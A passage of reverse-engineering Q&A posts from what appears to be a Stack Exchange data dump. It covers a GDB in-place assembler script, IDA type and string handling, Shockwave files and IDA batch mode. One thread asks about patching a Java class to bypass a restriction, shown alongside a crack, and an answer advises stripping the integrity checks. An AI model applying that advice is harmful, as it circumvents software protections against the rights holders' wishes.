  <row Id="18429" PostTypeId="2" ParentId="18428" CreationDate="2018-06-02T20:59:02.330" Score="5" Body="&lt;p&gt;GDB doesn't seem to have any native command to assemble instructions. But we can use its Python scripting facility to create a custom command, which would prepare an assembly source file, feed it to an assembler, and write the resulting bytes to the inferior's address space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example python script (which you can paste into your &lt;code&gt;.gdbinit&lt;/code&gt;) for x86/x86_64, using FASM as the assembler:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;python&#xA;from tempfile import mkstemp&#xA;import subprocess&#xA;import os&#xA;&#xA;class Assemble(gdb.Command):&#xA;    &quot;&quot;&quot;Assemble an instruction&#xA;Usage: assemble 0xADDRESS instruction to assemble&#xA;&quot;&quot;&quot;&#xA;    def __init__(self):&#xA;        super(Assemble, self).__init__(&quot;assemble&quot;, gdb.COMMAND_DATA, gdb.COMPLETE_NONE, True)&#xA;    def invoke(self, arg, from_tty):&#xA;        argPieces=arg.split()&#xA;        try:&#xA;            # addresses like those resulting from $pc can have trailing&#xA;            # junk, which we'll clear here by conversion to long&#xA;            address=gdb.execute('printf &quot;%#lx&quot;,'+argPieces[0], to_string=True)&#xA;        except:&#xA;            print(&quot;Failed to parse address&quot;)&#xA;            return&#xA;        instruction=&quot; &quot;.join(argPieces[1:])&#xA;        bits=format(8*int(gdb.parse_and_eval(&quot;sizeof(void*)&quot;)),&quot;d&quot;)&#xA;&#xA;        fd,srcPath=mkstemp(prefix=&quot;gdb_asm_&quot;)&#xA;        src=os.fdopen(fd, 'w')&#xA;        src.write(&quot;use%s\norg %s\n%s\n&quot; % (bits, address, instruction))&#xA;        src.close()&#xA;&#xA;        try:&#xA;            subprocess.check_output([&quot;fasm&quot;,srcPath], stderr=subprocess.STDOUT)&#xA;        except subprocess.CalledProcessError as err:&#xA;            print(&quot;Assembler failed with exit code&quot;, err.returncode)&#xA;            print(&quot;Output:&quot;, err.output)&#xA;            os.remove(srcPath)&#xA;            return&#xA;        os.remove(srcPath)&#xA;&#xA;        binPath=srcPath+&quot;.bin&quot;&#xA;        binaryFile=open(binPath, 'rb')&#xA;        offset=0&#xA;        while True:&#xA;            byteStr=binaryFile.read(1)&#xA;            if not byteStr:&#xA;                break&#xA;            byte=byteStr[0]&#xA;            if not isinstance(byte, int): # compatibility with python 2&#xA;                byte=ord(byte)&#xA;            gdb.execute(&quot;set *(unsigned char*)(&quot;+address+'+'+&#xA;                            format(offset,'d')+&quot;)=&quot;+format(byte,&quot;#02x&quot;))&#xA;            offset+=1&#xA;        binaryFile.close()&#xA;        os.remove(binPath)&#xA;        if offset==0:&#xA;            print(&quot;Assembler output an empty file&quot;)&#xA;            return&#xA;&#xA;        gdb.execute(&quot;x/i &quot;+address)&#xA;Assemble()&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you'd use it like&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb -q -ex starti /bin/true&#xA;Reading symbols from /bin/true...(no debugging symbols found)...done.&#xA;Starting program: /bin/true &#xA;&#xA;Program stopped.&#xA;0xf7fdd800 in _start () from /lib/ld-linux.so.2&#xA;(gdb) disas&#xA;Dump of assembler code for function _start:&#xA;=&amp;gt; 0xf7fdd800 &amp;lt;+0&amp;gt;:     mov    eax,esp&#xA;   0xf7fdd802 &amp;lt;+2&amp;gt;:     call   0xf7fe2160 &amp;lt;_dl_start&amp;gt;&#xA;(gdb) assemble $pc+2 mov ebp, [esi+235+edx*2]&#xA;   0xf7fdd802 &amp;lt;_start+2&amp;gt;:       mov    ebp,DWORD PTR [esi+edx*2+0xeb]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2434" LastEditorUserId="2434" LastEditDate="2018-06-03T06:16:20.753" LastActivityDate="2018-06-03T06:16:20.753" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18430" PostTypeId="2" ParentId="18428" CreationDate="2018-06-03T03:49:08.237" Score="3" Body="&lt;p&gt;if you have gdb version &gt; 7.7 installing &lt;strong&gt;&lt;a href=&quot;https://github.com/hugsy/gef&quot; rel=&quot;nofollow noreferrer&quot;&gt;gef&lt;/a&gt;&lt;/strong&gt; with python support claims to leverage keystone for in place assembly &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it appears to be pythonified gdbinit (peda pwndbg workalike) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/hugsy/gef/blob/master/docs/screenshots.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;the screen shots page&lt;/a&gt;   has some nice displays &lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-06-03T03:49:08.237" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18431" PostTypeId="2" ParentId="18423" CreationDate="2018-06-03T07:06:01.587" Score="4" Body="&lt;p&gt;Did you validate that your Hex-View is Synchronized with the IDA View?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to do this, go to the Hex View tab, Right Click anywhere in the view and choose &quot;&lt;strong&gt;Synchronize With &gt; IDA View&lt;/strong&gt;&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/37rj4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/37rj4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works fine for me in version 7.0.1709&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-06-03T07:06:01.587" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18432" PostTypeId="1" CreationDate="2018-06-03T10:29:42.687" Score="1" ViewCount="66" Body="&lt;p&gt;I'm trying to get an algorithm in a program but i can't see the hex codes.&#xA;At the moment i break all debug checks it fully debugging but i can't see how it creates the request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cHMDf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cHMDf.png&quot; alt=&quot;here is a screenshot to get better view&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24593" LastEditorUserId="18317" LastEditDate="2018-06-07T00:15:49.773" LastActivityDate="2018-06-07T00:15:49.773" Title="how can i get real hex values of vdso outputs" Tags="|ida|disassembly|debugging|" AnswerCount="0" CommentCount="1" ClosedDate="2018-06-15T19:41:32.477" ContentLicense="CC BY-SA 4.0" />
  <row Id="18433" PostTypeId="1" AcceptedAnswerId="18436" CreationDate="2018-06-03T12:06:05.030" Score="2" ViewCount="375" Body="&lt;p&gt;Let's say I have this program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct A {&#xA;    int x;&#xA;};&#xA;&#xA;struct A func1(int z) {&#xA;    struct A result;&#xA;    result.x = z+1;&#xA;    return result;&#xA;}&#xA;&#xA;int main() {&#xA;    return func1(1).x;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When compiling this on linux with &lt;code&gt;gcc -m32 -fno-stack-protector&lt;/code&gt; the result of func1 will be returned as a stack pointer. Can I somehow set the type of func1 using __return_ptr so IDA understands this calling convention? I thought that would be the purpose of __return_ptr, if not what does it do?&lt;/p&gt;&#xA;" OwnerUserId="24594" LastEditorUserId="60" LastEditDate="2018-06-04T10:03:33.627" LastActivityDate="2018-06-04T10:03:33.627" Title="What does __return_ptr do in IDA?" Tags="|ida|x86|gcc|calling-conventions|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18434" PostTypeId="1" AcceptedAnswerId="18435" CreationDate="2018-06-03T12:29:32.940" Score="2" ViewCount="5059" Body="&lt;p&gt;I was trying to patch an application, but the application is required to exact same class size as the original one but editing class file with JByteMod, Recaf or whatsoever always changes the class file size. Is it possible to patch class file without changing its size? I have one older patch which I got from Internet &amp;amp; its have the exact same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was trying to patch the application by putting static byte array instead of the private static byte (to bypass some restriction).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this without changing the size of the class file?&#xA;The jar file is required Java 9.0.4 to run &amp;amp; I have tried &lt;a href=&quot;https://i.stack.imgur.com/ZnyyK.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;JBE bytecode deitor&lt;/a&gt;: &lt;a href=&quot;http://set.ee/jbe/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://set.ee/jbe/&lt;/a&gt; but it was not able to open the class file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZnyyK.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZnyyK.jpg&quot; alt=&quot;The older version crack &amp;amp; original file comparison&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0pc6o.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0pc6o.jpg&quot; alt=&quot;Unmodified private bytes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ca0pz.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ca0pz.jpg&quot; alt=&quot;Want to change to array byte like this&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24368" LastActivityDate="2018-06-06T18:30:17.223" Title="Patching a class file inside Jar using bytecode" Tags="|java|patching|patch-reversing|byte-code|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18435" PostTypeId="2" ParentId="18434" CreationDate="2018-06-03T13:15:03.443" Score="3" Body="&lt;p&gt;Can you post the classfile, as well as the changes you want made to it? Depending on the changes, it should be possible. Obviously if you want to add a lot of new code or data, that won't be possible without changing the size, unless you delete a corresponding about of existing code from the classfile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, &lt;a href=&quot;https://github.com/Storyyeller/Krakatau&quot; rel=&quot;nofollow noreferrer&quot;&gt;Krakatau&lt;/a&gt; is capable of editing a classfile without changing the size. In particular, if you disassemble a classfile in roundtrip mode and reassemble it without modification, you'll get the exact classfile back. However, it still requires knowledge of bytecode and the classfile format to understand which changes you can make without affecting the size, or which things to delete to balance out increases in size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, this is likely not a fruitful approach. If the jar is checking classfile size, it is likely doing other integrity checks as well. Your best bet is to just find the integrity checks and remove them.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2018-06-03T13:15:03.443" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="18436" PostTypeId="2" ParentId="18433" CreationDate="2018-06-03T17:32:39.950" Score="3" Body="&lt;p&gt;The &quot;problem&quot; with your example is that the structure is too small (four bytes), so it fits in a register and is not actually passed on the stack. From &lt;a href=&quot;https://itanium-cxx-abi.github.io/cxx-abi/abi.html#non-trivial&quot; rel=&quot;nofollow noreferrer&quot;&gt;the Itanium C++ ABI&lt;/a&gt; (used by most GCC implementations):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A type is considered non-trivial for the purposes of calls if: &lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;it has a non-trivial copy constructor, move constructor, or destructor, or &lt;/li&gt;&#xA;  &lt;li&gt;all of its copy and move constructors are deleted. &lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;This definition, as applied to class types, is intended to be the&#xA;  complement of the definition in [class.temporary]p3 of types for which&#xA;  an extra temporary is allowed when passing or returning a type. &lt;strong&gt;A&#xA;  type which is trivial for the purposes of the ABI will be passed and&#xA;  returned according to the rules of the underlying C ABI, e.g. in&#xA;  registers&lt;/strong&gt;; often this has the effect of performing a trivial copy of&#xA;  the type.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(emphasis mine).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since your struct is &lt;em&gt;trivial&lt;/em&gt; and fits completely into the return register (&lt;code&gt;eax&lt;/code&gt;), it is not passed on the stack but returned directly in &lt;code&gt;eax&lt;/code&gt;. So there is no need for anything special here. However, if you make it a little bigger, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct A {&#xA;    int x;&#xA;    int y;&#xA;    int z;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then it no longer fits and has to be passed on the stack. &#xA;If you add the struct to Local Types and specify the C++ prototype for the function (&lt;code&gt;struct A func1(int z)&lt;/code&gt;), then IDA performs type lowering and converts it to a C-style prototype with explicit argument locations:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;struct A *__cdecl func1(struct A *__return_ptr __struct_ptr retstr, int z)&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems currently &lt;code&gt;__return_ptr&lt;/code&gt; is not used by IDA or decompiler and is just an annotation for the user, but in theory it could be used to make the decompiled code closer to the original C++ syntax.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-06-03T17:32:39.950" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18437" PostTypeId="1" AcceptedAnswerId="18444" CreationDate="2018-06-03T19:14:41.613" Score="3" ViewCount="1027" Body="&lt;p&gt;I am dabbling with a &lt;strong&gt;XE3 Delphi&lt;/strong&gt; application in &lt;strong&gt;IDA 7.0&lt;/strong&gt;, and can't get &lt;em&gt;Strings&lt;/em&gt; representation to work correctly:&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;While selecting &lt;em&gt;Delphi (16 bits)&lt;/em&gt; in the &lt;strong&gt;Strings Window&lt;/strong&gt; yield correct results:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8C2dx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8C2dx.png&quot; alt=&quot;IDA 7 Strings Window, Delphi 16 bits&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr /&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;em&gt;References&lt;/em&gt; to Strings in the &lt;strong&gt;Disassembly view&lt;/strong&gt; are &lt;strong&gt;failing&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Below is the string definition at &lt;code&gt;.text:008717DC&lt;/code&gt;:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IiCf7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IiCf7.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Below is a (failing) reference to it:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/z6tAh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/z6tAh.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr /&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Trying to change the &lt;strong&gt;String type&lt;/strong&gt; to &lt;em&gt;Delphi (16 bits)&lt;/em&gt; fails with &lt;code&gt;Command &amp;quot;SetStrlitStyle&amp;quot; failed&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/egM07.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/egM07.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr /&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Oddly, not all strings are misreferenced:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6RP0D.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6RP0D.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MTdyv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MTdyv.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr /&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;For the record, &lt;a href=&quot;https://github.com/crypto2011/IDR&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDR&lt;/a&gt; (Interactive Delphi Reconstructor) yields correct representations:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7Erx6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Erx6.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr /&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;I have set the &lt;strong&gt;Default&lt;/strong&gt; &lt;em&gt;String type&lt;/em&gt; to &lt;em&gt;Delphi (16 bits)&lt;/em&gt; in Options:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AqgVu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AqgVu.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr /&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Here are the &lt;strong&gt;Compiler Options&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rn6FI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rn6FI.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;All help welcome, thanks !&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="24597" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-06-04T07:57:24.960" Title="IDA 7 does not recognize/reference Delphi 16bits Strings correctly" Tags="|ida|strings|delphi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18438" PostTypeId="2" ParentId="17889" CreationDate="2018-06-03T19:17:30.827" Score="2" Body="&lt;p&gt;There are 2 methods to do do this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use an API hook to intercept the call to &lt;code&gt;CreateMutex&lt;/code&gt; and change the mutex name (e.g. randomize it).&lt;/li&gt;&#xA;&lt;li&gt;Make a copy of the executable or dll that calls &lt;code&gt;CreateMutex&lt;/code&gt; and search the Mutex name with a Hex editor (search for both ANSI and Unicode strings and modify the string. Make sure that you don't change the length of the string.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="99" LastActivityDate="2018-06-03T19:17:30.827" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18439" PostTypeId="1" AcceptedAnswerId="18450" CreationDate="2018-06-03T20:14:08.190" Score="4" ViewCount="2760" Body="&lt;p&gt;I have been fascinated by reverse engineering after making several emulators and  finding the &lt;a href=&quot;https://github.com/pret&quot; rel=&quot;nofollow noreferrer&quot;&gt;pret&lt;/a&gt; community. I love the idea behind decompiling old games and recreating source code that recompiles into a matching file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently found an old game that was hosted by Cartoon Network that I must have played around ~2001. I downloaded the source file and it is 514 Kb file with a &lt;code&gt;.dcr&lt;/code&gt; extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is anything like any other computer program, this file should store all of the games logic, images/sound, etc. that is interpreted by the Adobe Shockwave VM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a feasible task to reverse engineer and extract data/code from a compiled &lt;code&gt;.dcr&lt;/code&gt; file, or is this technology too outdated and proprietary to try and reverse engineer and test? Apparently the &lt;code&gt;.dcr&lt;/code&gt; file is generated by the &quot;Director&quot; application. Does this mean that if I wanted to RE this game, I would have to find the exact Director version they used when creating the game so it compiles into the same bytecode? Is this too complex of a project for a single person?&lt;/p&gt;&#xA;" OwnerUserId="24599" LastActivityDate="2022-06-09T21:50:00.870" Title="What are the steps to reverse engineering a Shockwave .DCR file?" Tags="|binary-analysis|decompilation|virtual-machines|binary-diagnosis|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18441" PostTypeId="1" AcceptedAnswerId="18446" CreationDate="2018-06-04T05:35:43.863" Score="6" ViewCount="4040" Body="&lt;p&gt;Currently, I'm generating a bunch of &lt;code&gt;.idb&lt;/code&gt; files in a batch via &lt;code&gt;idaw.exe -B &amp;lt;FILE&amp;gt;&lt;/code&gt;. (I'm using IDA Pro 6.8.) This process also creates many &lt;code&gt;.asm&lt;/code&gt; files - one for each &lt;code&gt;.idb&lt;/code&gt; file created. I don't need these files, so they just get ignored/deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to generate &lt;code&gt;.idb&lt;/code&gt; files from the command line without also generating the &lt;code&gt;.asm&lt;/code&gt; files?&lt;/p&gt;&#xA;" OwnerUserId="23416" LastActivityDate="2020-05-19T07:05:08.427" Title="IDA Pro: Is there a command-line way to generate idb files without generating asm files?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18442" PostTypeId="1" CreationDate="2018-06-04T07:05:36.870" Score="0" ViewCount="2252" Body="&lt;p&gt;Is there a way to find out all parameters which you can pass to a executable file, e.g. a .exe file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;: The game GTA V offers the parameter &lt;code&gt;-verify&lt;/code&gt; which you can pass to the shortcut of the .exe so that it verifies the game files before the game starts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YV1DS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YV1DS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to find out if there are more params by analyzing the executable, e.g. by reverse engineer it with ollydbg or some other program?&lt;/p&gt;&#xA;" OwnerUserId="24602" LastActivityDate="2018-06-04T10:00:30.210" Title="Find out all valid parameters which you can pass to a executable?" Tags="|executable|" AnswerCount="2" CommentCount="1" ClosedDate="2018-06-07T00:55:43.587" ContentLicense="CC BY-SA 4.0" />
  <row Id="18443" PostTypeId="2" ParentId="18442" CreationDate="2018-06-04T07:38:29.480" Score="2" Body="&lt;p&gt;The first answer that comes to mind would be to check the code that handles those and find out what is supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other is just to check the &lt;code&gt;strings&lt;/code&gt; output and try to see if there's anything that might be used as an argument. But with this approach, you might now know what each parameter does as the results might not be so obvious.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-06-04T07:38:29.480" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18444" PostTypeId="2" ParentId="18437" CreationDate="2018-06-04T07:50:06.103" Score="2" Body="&lt;p&gt;It's not only Delphi problem, it's a generic unicode detection problem of IDA.&#xA;I can't be sure how exactly it works, but I feel like IDA has an issue, when detecting the data type. And it's related to the priority of address representation over string literal. I.e. when it finds some instruction, which references the address, it tries to determine what data is situated at this address. In your case it found mov eax, offset 8717E0, it read 4 bytes at address 8717E0. It got 0x6F0053, it made a check does 0x6F0053 look like an address? Yes, in current database it's a valid address. Then screw all further detection let's make data at 8717E0 offset to loc_6F0053. If there was no such address 0x6F0053, it would go into further analysis and in the end came to the conclusion, that it's a unicode string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to fix this, you need to hook the analysis in the process module, and do your own type detection. It can't be solved by any of IDA settings.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastEditorUserId="22324" LastEditDate="2018-06-04T07:57:24.960" LastActivityDate="2018-06-04T07:57:24.960" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18445" PostTypeId="1" AcceptedAnswerId="18447" CreationDate="2018-06-04T08:55:56.510" Score="1" ViewCount="226" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7joiZ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7joiZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question #1&lt;/strong&gt; is the &lt;code&gt;lea edx, [esp+24]&lt;/code&gt; start of array  ? and &lt;code&gt;eax, [esp+140]&lt;/code&gt; index?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then whats &lt;code&gt;add eax, edx&lt;/code&gt;  doing here and this source code mean ? can you please explain? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am confused about array and indexing an array in assembly. &#xA;here are few screen shot. Please help me understand how this  array works ? &#xA;how it indexed and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/c4nTN.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/c4nTN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://i.stack.imgur.com/pvFI9.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pvFI9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://i.stack.imgur.com/U4G8z.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/U4G8z.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="24603" LastEditorUserId="245" LastEditDate="2018-06-06T10:06:11.567" LastActivityDate="2018-06-06T10:06:11.567" Title="help me to understand array?" Tags="|disassembly|assembly|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18446" PostTypeId="2" ParentId="18441" CreationDate="2018-06-04T09:21:19.443" Score="9" Body="&lt;p&gt;At the bottom of &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/417.shtml&quot; rel=&quot;noreferrer&quot;&gt;the help page&lt;/a&gt; you can see the following:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;For batch mode, IDA must be invoked with the following command line:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ida -B input-file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;which is &lt;strong&gt;equivalent to&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ida -c -A -Sanalysis.idc input-file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I.e. the actual analysis and writing of .asm is done by &lt;code&gt;analysis.idc&lt;/code&gt;. Looking into it, we can see:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;static main()&#xA;{&#xA;  // turn on coagulation of data in the final pass of analysis&#xA;  set_inf_attr(INF_AF, get_inf_attr(INF_AF) | AF_DODATA | AF_FINAL);&#xA;  // .. and plan the entire address space for the final pass&#xA;  auto_mark_range(0, BADADDR, AU_FINAL);&#xA;&#xA;  msg(&amp;quot;Waiting for the end of the auto analysis...\n&amp;quot;);&#xA;  auto_wait();&#xA;&#xA;  msg(&amp;quot;\n\n------ Creating the output file.... --------\n&amp;quot;);&#xA;  auto file = get_idb_path()[0:-4] + &amp;quot;.asm&amp;quot;;&#xA;&#xA;  auto fhandle = fopen(file, &amp;quot;w&amp;quot;);&#xA;  gen_file(OFILE_ASM, fhandle, 0, BADADDR, 0); // create the assembler file&#xA;  msg(&amp;quot;All done, exiting...\n&amp;quot;);&#xA;  qexit(0); // exit to OS, error code 0 - success&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So just make your own copy of the script, remove the part writing out 